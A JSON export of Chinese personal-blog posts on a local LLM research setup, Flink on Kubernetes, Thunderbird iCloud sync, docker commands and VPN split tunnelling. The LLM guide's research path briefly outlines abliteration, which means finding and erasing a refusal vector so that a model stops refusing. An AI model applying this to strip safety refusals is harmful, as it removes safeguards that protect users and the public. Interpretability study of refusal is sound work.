[{"content":" 环境：Mac mini M4 + 16GB，uv 管理 Python 包，VSCode 开发 外接盘：/Volumes/CyberDisk，大文件/模型/开发目录统一放这里\n1. 环境激活 venv 路径：~/model-research\nsource ~/model-research/bin/activate VSCode 中：按 Cmd+Shift+P → Python: Select Interpreter → 选 ~/model-research/bin/python\n2. 工具链速查 包 用途 什么时候用 torch 张量运算 + MPS GPU 加速 所有操作的基础 transformers 加载 HuggingFace 模型，查看权重 入门第一步，理解模型结构 nnsight Hook 进 Transformer 前向传播，读/改激活值 Abliteration、激活干预 mlx-lm Apple M 系列最快推理框架 快速验证、跑 benchmark jupyter 交互式实验 一步一步看张量变化 bitsandbytes 4-bit/8-bit 量化加载 省显存，16GB 跑大模型必备 safetensors 安全加载权重文件 transformers 默认用它 accelerate 多设备自动分配 device_map=\u0026ldquo;auto\u0026rdquo; 时用到 3. 基础代码示例 3.1 加载模型，看权重长什么样 from transformers import AutoModelForCausalLM import torch # 选一个小模型先练手，比如 0.5B 或 1.5B MODEL = \u0026#34;Qwen/Qwen2.5-1.5B-Instruct\u0026#34; model = AutoModelForCausalLM.from_pretrained( MODEL, torch_dtype=torch.float16, device_map=\u0026#34;mps\u0026#34; # M4 GPU ) # 打印所有层的名字和 shape for name, param in model.named_parameters(): print(f\u0026#34;{name}: {param.shape}\u0026#34;) 效果：你会看到 model.layers.0.self_attn.q_proj.weight: torch.Size([1536, 1536]) 这种输出，理解模型有多少层、每层多大。\n3.2 用 nnsight 做激活干预 from nnsight import LanguageModel import torch # nnsight 会自动下载模型，也可以指定本地路径 model = LanguageModel(\u0026#34;Qwen/Qwen2.5-1.5B-Instruct\u0026#34;, device_map=\u0026#34;mps\u0026#34;) prompt = \u0026#34;The capital of France is\u0026#34; with model.trace(prompt) as tracer: # 在第 5 层 transformer 的输出上动手脚 layer_5_output = model.model.layers[5].output # 打印这层输出的 shape print(f\u0026#34;Layer 5 output shape: {layer_5_output.shape}\u0026#34;) # 把某个维度归零（示例：干扰模型） # layer_5_output[:, :, 0] = 0 # 干预后正常生成 from transformers import AutoTokenizer tokenizer = AutoTokenizer.from_pretrained(\u0026#34;Qwen/Qwen2.5-1.5B-Instruct\u0026#34;) inputs = tokenizer(prompt, return_tensors=\u0026#34;pt\u0026#34;).to(\u0026#34;mps\u0026#34;) outputs = model.generate(inputs.input_ids, max_new_tokens=10) print(tokenizer.decode(outputs[0])) 效果：你能像 gdb 断点一样，停在模型第 N 层，查看/修改那层的激活值。\n3.3 mlx-lm 最快推理（M4 最优） from mlx_lm import load, generate model, tokenizer = load(\u0026#34;mlx-community/Qwen2.5-7B-Instruct-4bit\u0026#34;) response = generate( model, tokenizer, prompt=\u0026#34;你好，介绍一下自己\u0026#34;, verbose=True, # 实时打印 token max_tokens=100 ) print(response) 效果：比 transformers 快 20-30%，适合快速验证想法。注意模型要选 mlx-community 下的格式。\n3.4 4-bit 量化加载（省内存） from transformers import AutoModelForCausalLM, BitsAndBytesConfig bnb_config = BitsAndBytesConfig( load_in_4bit=True, bnb_4bit_compute_dtype=torch.float16 ) model = AutoModelForCausalLM.from_pretrained( \u0026#34;Qwen/Qwen2.5-7B-Instruct\u0026#34;, quantization_config=bnb_config, device_map=\u0026#34;mps\u0026#34; ) 效果：7B 模型从 14GB 降到约 4GB，16GB Mac 能轻松跑。\n4. 模型缓存迁移（已完成） transformers 默认把模型下在 ~/.cache/huggingface/，已迁移到外接盘。\n# 迁移命令（已执行） mv ~/.cache/huggingface /Volumes/CyberDisk/.cache/huggingface ln -s /Volumes/CyberDisk/.cache/huggingface ~/.cache/huggingface 以后所有 from_pretrained 下载的模型都自动存到外接盘。\n5. Ollama vs 研究工具 Ollama transformers + nnsight 定位 快速聊天 / API 服务 拆引擎盖做研究 能看到权重吗 ❌ 不能 ✅ 能 能改激活值吗 ❌ 不能 ✅ 能 启动速度 快，一键跑 慢，要下载原始权重 日常提问 ollama run 就聊 要写代码 工作流：\n想快速试新模型 → ollama pull + ollama run 确认可行后 → transformers 下载原始权重做深入研究 研究完想验证效果 → 改完的模型转成 GGUF → Ollama 加载测试 6. 推荐研究路径 按这个顺序走，别跳：\n看权重（3.1）→ 理解模型有几层、每层多大 跑推理（3.3 或 Ollama）→ 确认模型正常说话 问拒绝问题，用 nnsight 定位（3.2）→ 找到拒绝信号最强的层 做 Abliteration → 算出 refusal vector，从激活值里抹掉 验证 → 再问同一个问题，看还拒不拒绝 7. 常见问题 Q: 报错 MPS backend out of memory A: 模型太大，换 4-bit 量化（3.4）或换更小的模型（1.5B / 3B）。\nQ: nnsight 下载模型特别慢 A: 先手动用 huggingface-cli download Qwen/Qwen2.5-1.5B-Instruct 下到 cache，nnsight 会直接用本地缓存。\nQ: VSCode 里选了解释器但 import 报错 A: 确认你打开了正确的文件夹（File → Open Folder），且选的是 ~/model-research/bin/python。有时候 VSCode 会选到系统 Python。\nQ: 怎么知道 MPS 有没有加速？ A: 看推理时的 token/s。如果用 CPU 只有 2-3 token/s，用 MPS 应该有 15-30 token/s。\n8. 参考资料 nnsight 官方文档 MLX 官方文档 Abliteration 论文 Hugging Face transformers ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/%E6%9C%AC%E5%9C%B0llm%E7%A0%94%E7%A9%B6%E7%8E%AF%E5%A2%83%E6%8C%87%E5%8D%97/","summary":"环境：Mac mini M4 + 16GB，uv 管理 Python 包，VSCode 开发 外接盘：/Volumes/CyberDisk，大文件/模型/开发目录统一放这里\n1. 环境激活 venv 路径：~/model-research\nsource ~/model-research/bin/activate VSCode 中：按 Cmd+Shift+P → Python: Select Interpreter → 选 ~/model-research/bin/python\n2. 工具链速查 包 用途 什么时候用 torch 张量运算 + MPS GPU 加速 所有操作的基础 transformers 加载 HuggingFace 模型，查看权重 入门第一步，理解模型结构 nnsight Hook 进 Transformer 前向传播，读/改激活值 Abliteration、激活干预 mlx-lm Apple M 系列最快推理框架 快速验证、跑 benchmark jupyter 交互式实验 一步一步看张量变化 bitsandbytes 4-bit/8-bit 量化加载 省显存，16GB 跑大模型必备 safetensors 安全加载权重文件 transformers 默认用它 accelerate 多设备自动分配 device_map=\u0026ldquo;auto\u0026rdquo; 时用到 3.","title":"本地 LLM 研究环境指南"},{"content":"拓展安装 superpower superpower 仓库链接\n/plugin marketplace add obra/superpowers-marketplace /plugin install superpowers@superpowers-marketplace ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E4%B8%AA%E4%BA%BA%E6%88%90%E9%95%BF/claude-code-%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97/","summary":"拓展安装 superpower superpower 仓库链接\n/plugin marketplace add obra/superpowers-marketplace /plugin install superpowers@superpowers-marketplace ","title":"Claude Code 开发指南"},{"content":"查看容器内环境变量\ndocker compose exec openclaw-gateway printenv 重启容器\ndocker compose down \u0026amp;\u0026amp; docker compose up -d 查看日志\ndocker logs -f openclaw-openclaw-gateway-1 docker logs --tail 30 openclaw-openclaw-gateway-1 | grep -E \u0026#34;(telegram|orphaned|stall)\u0026#34; ","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/openclaw/%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/","summary":"查看容器内环境变量\ndocker compose exec openclaw-gateway printenv 重启容器\ndocker compose down \u0026amp;\u0026amp; docker compose up -d 查看日志\ndocker logs -f openclaw-openclaw-gateway-1 docker logs --tail 30 openclaw-openclaw-gateway-1 | grep -E \u0026#34;(telegram|orphaned|stall)\u0026#34; ","title":"OpenClaw 常用命令"},{"content":"背景 日历频繁使用，希望在电脑上也能够同步查看日历，之前把Outlook的日历同步上去之后（使用Thunderbird的TbSync插件很方便就同步成功了），现在也希望将icloud的日历也同步一下。\nTips 提醒事项是不支持的，现在已经不能同步了，只能同步日历 在Thunderbird中直接添加icloud的邮箱他会自动查找在线服务，日历可以直接帮你同步 尝试 icloud的日历支持CalDav，所以Thunderbird可以轻松胜任，尝试了用tbsync插件同步，默认使用的服务器地址是 icloud.com，国内用的是云上贵州 icloud.com.cn 嘛，反正就是没有成功。\n根据这个知乎老哥的回答尝试了，获取到自己的CalDav地址之后（如pxxx-caldav.icloud.com.cn），在tbsync上也没能成功。\n获取CalDav地址的方法：\n在icloud的日历中找到编辑日历，然后点击公开日历，然后点击共享链接。就是一个类似于webcal://pxxx-caldav.icloud.com.cn/published/x/xxx 的格式，取 pxxx-caldav.icloud.com.cn 这一部分填进 calDAV位置就行 在网页端登录icloud云上贵州的日历，然后F12打开控制台网络中筛选XHR，然后点击一个日历事件，然后在众多请求中你就会看到很多类似\u0026quot;pxx-\u0026ldquo;开头的，比如\u0026quot;pxx-ckevice.icloud.com.cn\u0026quot;等等，这个\u0026quot;pxx\u0026quot;直接替换到pxxx-caldav.icloud.com.cn就好 索性就使用Thunderbird直接添加日历，服务器地址使用这个CalDav的地址，密码使用了APP专用密码，在这里设置:arrow_right:传送门，然后就很轻松了同步成功啦~\n通讯录的同步也是同理，服务器的地址改为pxx-contacts.icloud.com.cn\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E5%B7%A5%E5%85%B7%E9%85%8D%E7%BD%AE/thunderbird-icloud/","summary":"背景 日历频繁使用，希望在电脑上也能够同步查看日历，之前把Outlook的日历同步上去之后（使用Thunderbird的TbSync插件很方便就同步成功了），现在也希望将icloud的日历也同步一下。\nTips 提醒事项是不支持的，现在已经不能同步了，只能同步日历 在Thunderbird中直接添加icloud的邮箱他会自动查找在线服务，日历可以直接帮你同步 尝试 icloud的日历支持CalDav，所以Thunderbird可以轻松胜任，尝试了用tbsync插件同步，默认使用的服务器地址是 icloud.com，国内用的是云上贵州 icloud.com.cn 嘛，反正就是没有成功。\n根据这个知乎老哥的回答尝试了，获取到自己的CalDav地址之后（如pxxx-caldav.icloud.com.cn），在tbsync上也没能成功。\n获取CalDav地址的方法：\n在icloud的日历中找到编辑日历，然后点击公开日历，然后点击共享链接。就是一个类似于webcal://pxxx-caldav.icloud.com.cn/published/x/xxx 的格式，取 pxxx-caldav.icloud.com.cn 这一部分填进 calDAV位置就行 在网页端登录icloud云上贵州的日历，然后F12打开控制台网络中筛选XHR，然后点击一个日历事件，然后在众多请求中你就会看到很多类似\u0026quot;pxx-\u0026ldquo;开头的，比如\u0026quot;pxx-ckevice.icloud.com.cn\u0026quot;等等，这个\u0026quot;pxx\u0026quot;直接替换到pxxx-caldav.icloud.com.cn就好 索性就使用Thunderbird直接添加日历，服务器地址使用这个CalDav的地址，密码使用了APP专用密码，在这里设置:arrow_right:传送门，然后就很轻松了同步成功啦~\n通讯录的同步也是同理，服务器的地址改为pxx-contacts.icloud.com.cn","title":"使用 Thunderbird 同步 iCloud 日历与联系人"},{"content":"网站相似度计算：裸机 \u0026amp; Kubernetes 部署实战 背景与目标 任务：基于 Flink Table API，用 SQL 计算网站间的相似度（Jaccard Coefficient）。 数据：referrer-referree 格式的 CSV，数千到数万条记录。 目标： 跑通 Flink Job，并且能够在外部访问 flink web ui 在K8S集群中部署flink，能够使用多台机器共同计算较大的数据集 一些常用命令备忘：\n## 将文本文件转换为csv # 1. 添加表头 echo \u0026#34;referrer,referree\u0026#34; \u0026gt; medium_relation.csv # 2. 替换空格为逗号并追加到新文件 sed \u0026#39;s/ /,/g\u0026#39; medium_relation \u0026gt;\u0026gt; medium_relation.csv ## 压缩和解压缩 tar -czvf xxx tar -xzvf xxx.tar.gz -C ~/ # -c 创建一个新的 tar 文件 # -x 解压文件 # -z 使用gzip压缩 后缀为.tar.gz # -j 使用bzip2压缩 后缀为.tar.bz2 # -v 显示详细的压缩过程 # -f 指定 tar 文件的名称 # -C 指定解压缩包的目录 ## 下载文件 curl -L -o helm-v3.7.0.tar.gz https://github.com/helm/helm/releases/download/v3.7.0/helm-v3.7.0-linux-amd64.tar.gz # -L：表示跟随重定向（很多 GitHub 下载链接会重定向到实际的下载 URL） # -o helm-v3.7.0.tar.gz：指定下载文件的保存文件名 wget https://github.com/helm/helm/releases/download/v3.7.0/helm-v3.7.0-linux-amd64.tar.gz # wget 在下载时会自动保存文件到当前目录，文件名通常是 URL 中最后的部分 一、裸机部署 Flink 环境安装 \u0026amp; 启动 Flink Flink 1.16.2 Java 8 Maven 3.9.4 flink 安装好了之后修改flink/conf/flink-conf.yaml中的rest.address和rest.band.address为0.0.0.0（为了能够从webui进行查看，当然别忘了修改防火墙配置）\n并且使用scripts/start-cluster.sh启动 Flink\n项目代码 maven 依赖 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;project xmlns=\u0026#34;http://maven.apache.org/POM/4.0.0\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema-instance\u0026#34; xsi:schemaLocation=\u0026#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\u0026#34;\u0026gt; \u0026lt;modelVersion\u0026gt;4.0.0\u0026lt;/modelVersion\u0026gt; \u0026lt;groupId\u0026gt;cn.edu.shu\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;websitesimilarity\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.0-SNAPSHOT\u0026lt;/version\u0026gt; \u0026lt;packaging\u0026gt;jar\u0026lt;/packaging\u0026gt; \u0026lt;name\u0026gt;WebsiteSimilarity\u0026lt;/name\u0026gt; \u0026lt;description\u0026gt;Website Similarity Calculation using Flink\u0026lt;/description\u0026gt; \u0026lt;properties\u0026gt; \u0026lt;maven.compiler.source\u0026gt;1.8\u0026lt;/maven.compiler.source\u0026gt; \u0026lt;maven.compiler.target\u0026gt;1.8\u0026lt;/maven.compiler.target\u0026gt; \u0026lt;/properties\u0026gt; \u0026lt;dependencies\u0026gt; \u0026lt;!-- Flink Streaming Java --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.apache.flink\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;flink-streaming-java\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.16.2\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- Flink Clients --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.apache.flink\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;flink-clients\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.16.2\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- Flink Java --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.apache.flink\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;flink-java\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.16.2\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.apache.flink\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;flink-table-api-java-bridge\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.17.0\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.apache.flink\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;flink-csv\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.17.0\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;/dependencies\u0026gt; \u0026lt;build\u0026gt; \u0026lt;plugins\u0026gt; \u0026lt;!-- Maven Compiler Plugin --\u0026gt; \u0026lt;plugin\u0026gt; \u0026lt;groupId\u0026gt;org.apache.maven.plugins\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;maven-compiler-plugin\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;3.8.1\u0026lt;/version\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;source\u0026gt;1.8\u0026lt;/source\u0026gt; \u0026lt;target\u0026gt;1.8\u0026lt;/target\u0026gt; \u0026lt;/configuration\u0026gt; \u0026lt;/plugin\u0026gt; \u0026lt;/plugins\u0026gt; \u0026lt;/build\u0026gt; \u0026lt;/project\u0026gt; Java 代码 package cn.edu.shu; import org.apache.flink.table.api.EnvironmentSettings; import org.apache.flink.table.api.Table; import org.apache.flink.table.api.TableEnvironment; /** * 最简单的基于 SQL 的网站相似度计算 */ public class WebsiteSimilarityJob { public static void main(String[] args) throws Exception { // 创建 Flink Table 环境（批处理模式） EnvironmentSettings settings = EnvironmentSettings.newInstance() .inBatchMode() .build(); TableEnvironment tEnv = TableEnvironment.create(settings); // CSV 文件路径，确保文件已转换成 referrer, referree 格式 String inputPath = \u0026#34;file:///home/ubuntu/similarity_app/medium_relation.csv\u0026#34;; String outputPath = \u0026#34;file:///home/ubuntu/similarity_app/output_result.csv\u0026#34;; // 注册源表 links tEnv.executeSql( \u0026#34;CREATE TEMPORARY TABLE links (\u0026#34; + \u0026#34; referrer BIGINT, \u0026#34; + \u0026#34; referree BIGINT\u0026#34; + \u0026#34;) WITH (\u0026#34; + \u0026#34; \u0026#39;connector\u0026#39; = \u0026#39;filesystem\u0026#39;, \u0026#34; + \u0026#34; \u0026#39;path\u0026#39; = \u0026#39;\u0026#34; + inputPath + \u0026#34;\u0026#39;, \u0026#34; + \u0026#34; \u0026#39;format\u0026#39; = \u0026#39;csv\u0026#39;, \u0026#34; + \u0026#34; \u0026#39;csv.ignore-parse-errors\u0026#39; = \u0026#39;true\u0026#39;\u0026#34; + \u0026#34;)\u0026#34; ); // 计算相似度，并取前50 Table result = tEnv.sqlQuery( \u0026#34;WITH website_union AS (\u0026#34; + \u0026#34; SELECT wl1.referrer AS website_A, \u0026#34; + \u0026#34; wl2.referrer AS website_B, \u0026#34; + \u0026#34; wl1.referree AS referree_A, \u0026#34; + \u0026#34; wl2.referree AS referree_B \u0026#34; + \u0026#34; FROM links wl1 \u0026#34; + \u0026#34; JOIN links wl2 \u0026#34; + \u0026#34; ON wl1.referree = wl2.referree \u0026#34; + \u0026#34; WHERE wl1.referrer \u0026lt;\u0026gt; wl2.referrer \u0026#34; + \u0026#34;) \u0026#34; + \u0026#34;SELECT website_A, website_B, \u0026#34; + \u0026#34; COUNT(DISTINCT referree_A) * 1.0 / \u0026#34; + \u0026#34; (SELECT COUNT(DISTINCT referree) FROM (\u0026#34; + \u0026#34; SELECT referree_A AS referree FROM website_union \u0026#34; + \u0026#34; UNION \u0026#34; + \u0026#34; SELECT referree_B AS referree FROM website_union)) AS similarity \u0026#34; + \u0026#34;FROM website_union \u0026#34; + \u0026#34;GROUP BY website_A, website_B \u0026#34; + \u0026#34;LIMIT 50\u0026#34; ); // 注册输出表，将结果保存到文件 tEnv.executeSql( \u0026#34;CREATE TEMPORARY TABLE output_result (\u0026#34; + \u0026#34; website_A BIGINT, \u0026#34; + \u0026#34; website_B BIGINT, \u0026#34; + \u0026#34; similarity DOUBLE\u0026#34; + \u0026#34;) WITH (\u0026#34; + \u0026#34; \u0026#39;connector\u0026#39; = \u0026#39;filesystem\u0026#39;, \u0026#34; + \u0026#34; \u0026#39;path\u0026#39; = \u0026#39;\u0026#34; + outputPath + \u0026#34;\u0026#39;, \u0026#34; + \u0026#34; \u0026#39;format\u0026#39; = \u0026#39;csv\u0026#39;, \u0026#34; + \u0026#34; \u0026#39;csv.field-delimiter\u0026#39; = \u0026#39;,\u0026#39;\u0026#34; + // 设置字段分隔符为逗号 \u0026#34;)\u0026#34; ); // 将结果写入文件 result.executeInsert(\u0026#34;output_result\u0026#34;).await(); // 输出完成信息 System.out.println(\u0026#34;Result has been saved to: \u0026#34; + outputPath); } } 编译 \u0026amp; 部署 mvn package flink run --class cn.edu.shu.WebsiteSimilarityJob ~/similarity_app/target/xxx.jar 然后作业就会提交到Flink中，可以在web UI上查看进度\n!= 不被支持 → 改用 SQL 标准 \u0026lt;\u0026gt;。 多字段 COUNT(DISTINCT a,b) 不支持 → 重写子查询。 二、Kubernetes 部署 Flink :arrow_right: Apache Flink 官方参考指南\n前提条件 确保安装了docker , kubernetes , helm\nhelm 和 kubernetes 的版本需要匹配，可查询:arrow_right: Helm官方文档\n安装 Operator helm repo add flink-operator-repo https://downloads.apache.org/flink/flink-kubernetes-operator-1.11.0/ helm install flink-kubernetes-operator flink-operator-repo/flink-kubernetes-operator Flink Kubernetes Operator 的作用就是 识别 YAML 配置文件中的 FlinkDeployment 类型，并根据配置自动执行相关的操作。它实际上是一个 Kubernetes 控制器，负责管理和协调 Kubernetes 集群中的 Flink 集群的生命周期。\nFlink Kubernetes Operator 工作流程：\n提交 FlinkDeployment： 您通过 kubectl apply -f flink-deployment.yaml 提交一个包含 Flink 集群配置的 YAML 文件（FlinkDeployment）。 Operator 监控 FlinkDeployment： Flink Kubernetes Operator 会监听 Kubernetes 中的 FlinkDeployment 资源。 一旦 FlinkDeployment 被创建或更新，Operator 会识别该资源，并根据其内容执行相关操作。 创建和管理资源： 根据 FlinkDeployment 中的配置，Operator 会自动创建和管理 Kubernetes 中的 JobManager 和 TaskManager Pods。 它会根据配置中的 replicas、resource、image 等字段来启动相应的资源。 更新集群： 如果您更改了 FlinkDeployment 中的配置（例如，修改镜像版本或调整资源），Operator 会自动处理集群的升级和更新。 例如，您更改了镜像版本，Operator 会根据新配置启动新的 Pods，替换旧的 Pods。 编写部署YAML 一个官方测试的一个YAML脚本 be like:\napiVersion: flink.apache.org/v1beta1 kind: FlinkDeployment metadata: name: basic-example spec: image: flink:1.20 flinkVersion: v1_20 flinkConfiguration: taskmanager.numberOfTaskSlots: \u0026#34;2\u0026#34; serviceAccount: flink jobManager: resource: memory: \u0026#34;2048m\u0026#34; cpu: 1 taskManager: resource: memory: \u0026#34;2048m\u0026#34; cpu: 1 job: jarURI: local:///opt/flink/examples/streaming/StateMachineExample.jar parallelism: 2 upgradeMode: stateless 其中指定了 flink 的 image 版本，还有 jobManager 和 taskManager 的数量和配置等，再在job中指定了运行的 jar 的 URI 。\n如果是分布式环境的话，需要确保 JAR 在一个大家都能访问得到的地方。\nGPT说有以下几种方法可以尝试：\n方法 1: 使用 Kubernetes ConfigMap 上传 JAR 文件 ​\tConfigMap 是一种 Kubernetes 资源对象，主要用于存储配置文件、环境变量等文本数据。您可以将 JAR 文件作为 ConfigMap 存储在 Kubernetes 中。\n方法 2: 使用 Kubernetes Persistent Volume (PV) ​\tPersistent Volume (PV) 允许您将外部存储（如 NFS、Ceph、AWS EBS 等）挂载到 Kubernetes 中，供容器访问。\n方法 3: 使用云存储（如 AWS S3） ​\t如果您的 Kubernetes 集群在 AWS 上，您可以将 JAR 文件上传到 S3 存储桶，并通过 jarURI 引用它。\n因为我的这个JAR很小，大小仅 3.5 KB（可以通过ls -lh查看） → 选用 ConfigMap 共享\n用 kubectl 对 JAR 文件进行挂载：\nkubectl create configmap flink-job-jar \\ --from-file=websitesimilarity-1.0-SNAPSHOT.jar=target/websitesimilarity-1.0-SNAPSHOT.jar ConfigMap 更新：每次 Jar 变动都需 kubectl delete configmap \u0026amp;\u0026amp; create configmap\nFlinkDeployment.yaml 样例：\napiVersion: flink.apache.org/v1beta1 kind: FlinkDeployment metadata: name: basic-example spec: image: flink:1.16 flinkConfiguration: taskmanager.numberOfTaskSlots: \u0026#34;2\u0026#34; jobManager: resource: { cpu:1, memory:\u0026#34;4096m\u0026#34; } podTemplate: spec: volumes: - name: flink-job-jar configMap: { name: flink-job-jar } containers: - name: flink-job-manager image: flink:1.16 volumeMounts: - name: flink-job-jar mountPath: /opt/flink/jobs subPath: websitesimilarity-1.0-SNAPSHOT.jar taskManager: replicas: 2 resource: { cpu:1, memory:\u0026#34;4096m\u0026#34; } podTemplate: spec: volumes: - name: flink-job-jar configMap: { name: flink-job-jar } containers: - name: flink-task-manager image: flink:1.16 volumeMounts: - name: flink-job-jar mountPath: /opt/flink/jobs subPath: websitesimilarity-1.0-SNAPSHOT.jar job: jarURI: local:///opt/flink/jobs/websitesimilarity-1.0-SNAPSHOT.jar parallelism: 2 upgradeMode: stateless 部署 kubectl apply -f flink-deployment.yaml → Operator 自动创建 Deployment\n查看服务：kubectl get svc\nflinkapp (6123/TCP, 6124/TCP) 内部通信 flinkapp-rest (8081/TCP) Web UI 端口转发：\n如果想在本地浏览器中访问，需要加上 \u0026ndash;address 0.0.0.0 的选项，并且记得放开防火墙8085端口\nkubectl port-forward --address 0.0.0.0 svc/flinkapp-rest 8085:8081 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E5%B7%A5%E4%BD%9C/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/deploy-flink/","summary":"网站相似度计算：裸机 \u0026amp; Kubernetes 部署实战 背景与目标 任务：基于 Flink Table API，用 SQL 计算网站间的相似度（Jaccard Coefficient）。 数据：referrer-referree 格式的 CSV，数千到数万条记录。 目标： 跑通 Flink Job，并且能够在外部访问 flink web ui 在K8S集群中部署flink，能够使用多台机器共同计算较大的数据集 一些常用命令备忘：\n## 将文本文件转换为csv # 1. 添加表头 echo \u0026#34;referrer,referree\u0026#34; \u0026gt; medium_relation.csv # 2. 替换空格为逗号并追加到新文件 sed \u0026#39;s/ /,/g\u0026#39; medium_relation \u0026gt;\u0026gt; medium_relation.csv ## 压缩和解压缩 tar -czvf xxx tar -xzvf xxx.tar.gz -C ~/ # -c 创建一个新的 tar 文件 # -x 解压文件 # -z 使用gzip压缩 后缀为.tar.gz # -j 使用bzip2压缩 后缀为.tar.bz2 # -v 显示详细的压缩过程 # -f 指定 tar 文件的名称 # -C 指定解压缩包的目录 ## 下载文件 curl -L -o helm-v3.","title":"尝试在云服务器上部署 Flink 并提交计算任务"},{"content":"背景 服务器在学校的校园网中，然后平时需要使用 Easy Connect 连接学校的 VPN 之后，才能通过 SSH 连接到服务器。但是学校配置的 VPN 又很烦人，会接管本机上的所有流量走校园网，导致访问其他网站的速度很慢，并且连接不上外网用不了 GPT 之类的麻烦。\n学校提供的 VPN 服务有两种软件可以使用，一个是 Easy Connect，一种是 Open VPN 。两种我都尝试了，都是登陆的同样的账号，但是openvpn始终ssh连接不上学校内网中的服务器，但是 Easy Connect 却可以。所以之后我都是在 Easy Connect 上进行操作的。\n发现问题 发现启动 VPN 软件之后，运行ifconfig可以看到本地会多一个utun*的网络接口，然后运行netstat -rn查看电脑的路由表中可以看到，有大量的路由配置信息指向了这个utun*的网络接口。\n之前之所以连接上了 VPN 之后无法正常的访问外网，是因为学校的 VPN 服务器推送了很多的路由，几乎涵盖了从1.*.*.*到255.*.*.*中的所有路由，全部设置为走utun*。即使我的default路由走的是我正常的网口，但是具体的路由的优先级是要比default路由要高的，所以几乎全部都走了 VPN 。\n解决思路 有两个方法可以解决这个问题：\n1\t在Docker上运行 VPN 软件进行转发 在本地启动一个Docker，然后让 VPN 运行在 Docker 内，将走服务器IP地址的流量走到 Docker 容器内，然后在容器内走 VPN 出去。这个方法肯定是可行的，不过感觉稍微麻烦了一点，采用了第二个idea\n2\t删除多余的路由表 在 VPN 软件启动之后，他不是注册了很多具体的路由嘛，而我的需求只是让服务器流量走 VPN 就可以了，其他的流量不用他管。所以写了一个脚本，在 VPN 软件启动之后运行就行。\n脚本主要实现的功能是，在路由表中匹配 VPN 网口的所有路由，只保留我服务器那一条路由，其他的全部删除，就OK，简单又完美。\n#!/bin/bash # 示例 # 提示用户输入网络接口名称 read -p \u0026#34;请输入 VPN 网络接口名称（例如utun6）: \u0026#34; vpn_interface # 提示用户输入需要保留的服务器IP地址或网段 read -p \u0026#34;请输入需要保留的服务器IP地址或网段（例如192.168.1.0/24）: \u0026#34; server_route # 获取当前路由表中与 VPN 接口相关的所有路由 routes=$(netstat -rn | grep \u0026#34;$vpn_interface\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) # 遍历所有路由 for route in $routes; do # 如果路由不是需要保留的服务器路由，则删除 if [[ \u0026#34;$route\u0026#34; != \u0026#34;$server_route\u0026#34; ]]; then echo \u0026#34;删除路由: $route\u0026#34; sudo route delete -net \u0026#34;$route\u0026#34; -interface \u0026#34;$vpn_interface\u0026#34; else echo \u0026#34;保留路由: $route\u0026#34; fi done echo \u0026#34;路由清理完成！\u0026#34; ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/split-tunneling/","summary":"背景 服务器在学校的校园网中，然后平时需要使用 Easy Connect 连接学校的 VPN 之后，才能通过 SSH 连接到服务器。但是学校配置的 VPN 又很烦人，会接管本机上的所有流量走校园网，导致访问其他网站的速度很慢，并且连接不上外网用不了 GPT 之类的麻烦。\n学校提供的 VPN 服务有两种软件可以使用，一个是 Easy Connect，一种是 Open VPN 。两种我都尝试了，都是登陆的同样的账号，但是openvpn始终ssh连接不上学校内网中的服务器，但是 Easy Connect 却可以。所以之后我都是在 Easy Connect 上进行操作的。\n发现问题 发现启动 VPN 软件之后，运行ifconfig可以看到本地会多一个utun*的网络接口，然后运行netstat -rn查看电脑的路由表中可以看到，有大量的路由配置信息指向了这个utun*的网络接口。\n之前之所以连接上了 VPN 之后无法正常的访问外网，是因为学校的 VPN 服务器推送了很多的路由，几乎涵盖了从1.*.*.*到255.*.*.*中的所有路由，全部设置为走utun*。即使我的default路由走的是我正常的网口，但是具体的路由的优先级是要比default路由要高的，所以几乎全部都走了 VPN 。\n解决思路 